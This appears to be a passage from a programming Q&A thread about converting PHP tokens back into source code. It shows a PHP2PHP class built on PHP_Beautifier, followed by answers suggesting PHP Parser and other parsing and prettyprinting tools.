PHP2PHP(); // tokenize the code (forwards to token_get_all) $phpCode = $php2php->php2token($phpCode); // print the tokens, in some way echo join(' ', array_map(function($token) { return (is_array($token)) ? ($token[0] === T_WHITESPACE) ? ($token[1] === "\n") ? "\n" : '' : token_name($token[0]) : $token; }, $phpCode)); // transform the tokens back into legible PHP code $phpCode = $php2php->token2php($phpCode); ?> As PHP2PHP extends PHP_Beautifier, it allows for the same fine-tuning under the same API that PHP_Beautifier uses. The class itself is: file: PHP2PHP.php class PHP2PHP extends PHP_Beautifier { function php2token($phpCode) { return token_get_all($phpCode); } function token2php(array $phpToken) { // prepare properties $this->resetProperties(); $this->aTokens = $phpToken; $iTotal = count($this->aTokens); $iPrevAssoc = false; // send a signal to the filter, announcing the init of the processing of a file foreach($this->aFilters as $oFilter) $oFilter->preProcess(); for ($this->iCount = 0; $this->iCount < $iTotal; $this->iCount++) { $aCurrentToken = $this->aTokens[$this->iCount]; if (is_string($aCurrentToken)) $aCurrentToken = array( 0 => $aCurrentToken, 1 => $aCurrentToken ); // ArrayNested->off(); $sTextLog = PHP_Beautifier_Common::wsToString($aCurrentToken[1]); // ArrayNested->on(); $sTokenName = (is_numeric($aCurrentToken[0])) ? token_name($aCurrentToken[0]) : ''; $this->oLog->log("Token:" . $sTokenName . "[" . $sTextLog . "]", PEAR_LOG_DEBUG); $this->controlToken($aCurrentToken); $iFirstOut = count($this->aOut); //5 $bError = false; $this->aCurrentToken = $aCurrentToken; if ($this->bBeautify) { foreach($this->aFilters as $oFilter) { $bError = true; if ($oFilter->handleToken($this->aCurrentToken) !== FALSE) { $this->oLog->log('Filter:' . $oFilter->getName() , PEAR_LOG_DEBUG); $bError = false; break; } } } else { $this->add($aCurrentToken[1]); } $this->controlTokenPost($aCurrentToken); $iLastOut = count($this->aOut); // set the assoc if (($iLastOut-$iFirstOut) > 0) { $this->aAssocs[$this->iCount] = array( 'offset' => $iFirstOut ); if ($iPrevAssoc !== FALSE) $this->aAssocs[$iPrevAssoc]['length'] = $iFirstOut-$this->aAssocs[$iPrevAssoc]['offset']; $iPrevAssoc = $this->iCount; } if ($bError) throw new Exception("Can'process token: " . var_dump($aCurrentToken)); } // ~for // generate the last assoc if (count($this->aOut) == 0) throw new Exception("Nothing on output!"); $this->aAssocs[$iPrevAssoc]['length'] = (count($this->aOut) -1) - $this->aAssocs[$iPrevAssoc]['offset']; // post-processing foreach($this->aFilters as $oFilter) $oFilter->postProcess(); return $this->get(); } } ?>
In the category of "other solutions", you could try PHP Parser. The parser turns PHP source code into an abstract syntax tree....Additionally, you can convert a syntax tree back to PHP code.
If I'm not mistaken http://pear.php.net/package/PHP_Beautifier uses token_get_all() and then rewrites the stream. It uses heaps of methods like t_else and t_close_brace to output each token. Maybe you can hijack this for simplicity.
See our PHP Front End. It is a full PHP parser, automatically building ASTs, and a matching prettyprinter that regenerates compilable PHP code complete with the original commments. (EDIT 12/2011: See this SO answer for more details on what it takes to prettyprint from ASTs, which are just an organized version of the tokens: https://stackoverflow.com/a/5834775/120163) The front end is built on top of our DMS Software Reengineering Toolkit, enabling the analysis and transformation of PHP ASTs (and then via the prettyprinter code).